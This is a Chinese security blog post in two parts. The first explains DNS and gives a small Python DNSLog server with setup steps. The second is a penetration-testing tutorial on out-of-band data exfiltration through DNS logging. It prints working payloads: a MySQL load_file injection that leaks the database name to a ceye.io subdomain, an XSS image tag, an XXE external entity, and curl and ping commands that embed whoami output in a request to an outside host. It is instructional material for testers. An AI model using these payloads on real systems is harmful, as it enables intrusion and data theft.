DNSLog原理及代码实现
Posted 0of_security
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DNSLog原理及代码实现相关的知识,希望对你有一定的参考价值。
自实现DNSLog服务器的意义及作用:
- 一些公共DNSLog服务可能已进入防火墙黑名单。不依赖他人服务器,增加可靠性。
- 结合自己的漏洞扫描工具,更定制化修改和部署DNSLog API。达到更高的效率。
- 附加实现DNS重绑定攻击等其他功能
- 熟悉DNSLog底层技术原理
以下将介绍DNS,理解以下概念,对我们理解DNSLog的原理并实现DNSLog非常重要。如果您已了解这部分知识,请跳过本节,直接阅读 DNSLog实现 一节。
DNS基本概念
DNS 是一个分布式分层数据库,用于存储 IP 地址和其他数据,提供从域名到网络地址的查询服务。DNS 目录存储在全球范围内分布的域名服务器上,并会定期更新。
DNS记录类型
记录是 DNS 资源和域名之间的映射。一些常用的记录类型如下:
- A:地址记录,用于将主机名映射到其 IPv4 地址。
- CNAME:规范名称记录,用于将主机名指定别名。
- NS:域名服务器记录,用于将 DNS 地区委托给权威服务器。
DNS服务器类型
权威服务器 Authoritative Nameserver
权威性 DNS 服务器是实际持有并负责 DNS 资源记录(包括 A、AAAA 和 CNAME)的服务器。这是位于 DNS 查找链底部的服务器。
最终我们要实现的服务器就是这个。
递归解析器 Recursive Resolver
递归解析器是将查询发送到权威服务器或非权威服务器以进行解析的服务器。我们上网有时候手动设置的8.8.8.8,114.114.114.114等就属于递归解析器。递归解析器正如其名,它对给定名称依次执行查询,并返回最终结果。
为执行此操作,其发出一系列请求,直至到达用于所请求的记录的权威性 DNS 域名服务器为止。
DNS解析步骤
- 用户在客户端访问 “example.com”时(可能是浏览器,也可能是ping,或者其他客户端应用),查询传输到 Internet 中,并被 DNS 递归解析器接收。
- 接着,解析器查询 DNS 根域名服务器(.)。
- 然后,根服务器使用存储其域信息的顶级域(TLD)DNS 服务器(例如 .com 或 .net)的地址响应该解析器。在搜索 example.com 时,我们的请求指向 .com TLD。
- 然后,解析器向 .com TLD 发出请求。
- TLD 服务器随后使用该域的域名服务器 example.com 的 IP 地址进行响应。
- 最后,递归解析器将查询发送到域的域名服务器。
- example.com 的 IP 地址而后从域名服务器返回解析器。
DNSLog实现
至此,根据上面的解析原理,我们要做的事情就很简单了,我们只需要在顶级域名服务器上添加一条NS记录,将NS权威服务器指向我们自己的服务器,然后再编写DNS处理程序部署在我们自己的服务器上就好了。
我们要实现的功能
- 实现域名请求记录
- 实现DNS重绑定
技术分析
DNS服务运行在53端口的UDP协议上。
DNS服务器部分我们使用python3编写,对DNS数据包的处理使用dnslib库。
项目地址
GitHub - paulc/dnslib: A Python library to encode/decode DNS wire-format packets
dnslib · PyPI
代码实现
# SimpleServer.py
import socket
from dnslib import DNSRecord, DNSHeader, RR, A
dns_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
dns_socket.bind(('0.0.0.0', 53))
while True:
data, address = dns_socket.recvfrom(1024)
request = DNSRecord.parse(data)
qname = request.q.qname
reply = DNSRecord(
DNSHeader(id=request.header.id, qr=1, aa=1, ra=1),
q=request.q,
a=RR(qname, rdata=A("127.0.0.1"))
)
dns_socket.sendto(reply.pack(), address)
print(qname) #此处可以打印到输出,也可以自行保存到数据库或者文件中
使用方式
首先我们需要一个域名和一个带公网ip的服务器
假设服务器ip为 1.1.1.1,服务器ip为fflag.cn
1、给我们自己的服务器添加一条A记录域名解析
ns.fflag.cn A 记录指向 1.1.1.1
2、将NS权威服务器指向我们自己的服务器
dns.fflag.cn NS 记录指向 ns.fflag.cn
3、在Linux服务器上,需要先关闭named和systemd-resolve服务,否则数据包到不了我们的处理程序
systemctl stop named
systemctl stop resolved
4、运行代码
git clone https://github.com/chenzhouwen/DNSLog.git
# 或者自己下载
cd DNSLog
python3 SimpleServer.py
5、测试运行效果
客户端成功记录下 dnslog
项目所有代码已发布至GitHub
GitHub - czhouw/DNSLog
参考文章:
[1] https://cloud.google.com/dns/docs/dns-overview
[2] https://www.cloudflare.com/zh-cn/learning/dns/what-is-dns/
SQL注入之Dnslog盲注
测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决,
但是盲注往往效率很低,所以产生了DNSlog注入。具体原理如下。
首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,图示如下。
DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。
这样说原理很抽象,下面通过实际例子看下。
http://ceye.io,这是一个免费的记录dnslog的平台,我们注册后到控制面板会给你一个二级域名:xxx.ceye.io,当我们把注入信息放到三级域名那里,后台的日志会记录下来
0x01SQL盲注
就以sql盲注为例。深入理解下DNSlog注入过程:
通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like '%secure%';查看load_file()可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。
在mysql命令行执行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查询语句
查看平台,dnsLog被记录下来。
load_file()函数可以通过dns解析请求。
以sql-labs第五关payload:
' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)-- -+
执行的sql语句:
SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)
查看dnslog日志,发现security数据库被查询出来:
0x02 XSS(无回显)
payload:><img src=http://xss.xxxx.ceye.io/aaa>让src请求我们的dnslog平台
0x03 SSRF(无回显)
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">
%remote;]>
<root/>
0x04命令执行(无回显)
当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求,当命令真正被执行且平台收到回显时就能说明漏洞确实存在。
*nix
curl http://haha.xxx.ceye.io/`whoami`
ping `whoami`.xxxx.ceye.io
Windows
ping %USERNAME%.xxx.ceye.io
其他的在这个平台上有一些payload。
参考链接:
http://foreversong.cn/archives/861
https://bbs.ichunqiu.com/thread-22002-1-1.html
http://blog.knownsec.com/2016/06/how-to-scan-and-check-vulnerabilities/
Donslog注入脚本
https://github.com/ADOOO/DnslogSqlinj
以上是关于DNSLog原理及代码实现的主要内容,如果未能解决你的问题,请参考以下文章